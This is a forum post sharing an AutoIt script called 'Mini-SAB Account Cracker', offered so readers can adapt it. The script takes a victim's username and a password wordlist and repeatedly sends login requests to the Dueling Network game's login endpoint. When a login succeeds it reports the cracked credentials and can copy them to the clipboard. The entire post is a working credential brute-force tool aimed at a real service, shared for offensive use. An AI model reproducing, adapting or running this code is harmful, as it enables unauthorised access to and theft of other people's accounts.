Topic: Flareboy323, found this laying around somewhere. Pretty old and fairly messy, but you might be able to modify it a bit to suit your needs:
; Made by Protozoid
#include <File.au3>
#include <Misc.au3>
;#include <MD5.au3>
;#include <Constants.au3>
Global Const $nullstring = ''
Global Const $apiURL = 'http://www.duelingnetwork.com:8080/Dueling_Network/login.do?'
Global Const $imageDir = @ScriptDir & '/minigfx.jpg'
Global $oHttp = ObjCreate("winhttp.winhttprequest.5.1"), $cracked, $counter, $resp
ObjEvent("AutoIt.Error", "ErrHandler")
;If _Singleton(@ScriptName) Then
;MsgBox(16, "Error", "An instance of Mini-SAB Account Cracker already exists.")
;Exit
;EndIf
HotKeySet('{Esc}', "Close")
;Splash()
While 1
__Init__()
WEnd
Func Close()
Exit
EndFunc ;==>Close
Func Splash()
SplashImageOn("", $imageDir, 500, 200, Default, Default, 1)
Sleep(5700)
SplashOff()
EndFunc ;==>Splash
Func __Init__()
$username = InputBox("Mini-SAB Account Cracker v1.1", "Enter the user you would like to 'hack' in the input below." & @CRLF & @CRLF & _
"Press Cancel, click the red X, or Esc to exit.")
If @error = 1 Then Exit
$txt = FileOpenDialog("Choose passwords via Text file", @ScriptDir & "\", "Text Files (*.txt;*.text)", 1 + 4)
If $txt <> '' Then MsgBox(64, "Cracking Session Started", "Now cracking user " & $username & '..', 2)
Do
For $i = 1 To _FileCountLines($txt)
$password = FileReadLine($txt, $i)
$resp = _Login($username, $password)
$counter += 1
If StringInStr($resp, "Logged in") Or StringInStr($resp, "banned") Then
$cracked = True
$choice = MsgBox(4, "Cracked", "User " & $username & " has been cracked!" & @CRLF & @CRLF & "Username: " & $username & @CRLF & "Password: " & $password & _
@CRLF & @CRLF & "Copy user information to clipboard?")
Switch $choice
Case 6
ClipPut("Username: " & $username & @CRLF & "Password: " & $password)
Case 7
MsgBox(16, "", "User information was not copied.")
EndSwitch
$choice = MsgBox(4, "", "Would you like to crack another user?")
Switch $choice
Case 6
MsgBox(64, "", "OK, now returning to main frame..", 2)
Case 7
Exit
EndSwitch
EndIf
If $cracked <> True And $i >= _FileCountLines($txt) Then MsgBox(16, "Failed", "User " & $username & " was not cracked.")
Next
Until $cracked = True Or $i >= _FileCountLines($txt)
EndFunc ;==>__Init__
Func _HttpRequest($oHttp, $sMethod, $sURL, $sData = '', $sReferrer = '', $fKeep_alive = False, $sProxy = '')
$oHttp.Open($sMethod, $sURL, False)
$oHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 BTRS28059 Firefox/3.6.12 (.NET CLR 3.5.30729) SuperSearchSearchToolbar/1.2")
If $fKeep_alive == True Then $oHttp.SetRequestHeader("Connection", "keep-alive")
If $sReferrer = $nullstring Then $sReferrer = $sURL
$oHttp.SetRequestHeader("Referrer", $sReferrer)
If $sProxy <> $nullstring Then $oHttp.SetProxy(2, $sProxy)
If $sMethod == "GET" Then
$sData = $nullstring
ElseIf $sMethod == "POST" Then
$oHttp.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
Else
Return "Invalid method specified."
EndIf
$oHttp.Send($sData)
Return $oHttp.ResponseText
EndFunc ;==>_HttpRequest
Func _Login($user, $pass)
$Ret = _HttpRequest($oHttp, "GET", $apiURL & "username=" & $user & "&password=" & $pass)
Return $Ret
EndFunc ;==>_Login
Func ErrHandler()
SetError(1)
$oHttp = 0
$oHttp = ObjCreate("winhttp.winhttprequest.5.1")
EndFunc ;==>ErrHandle
Au3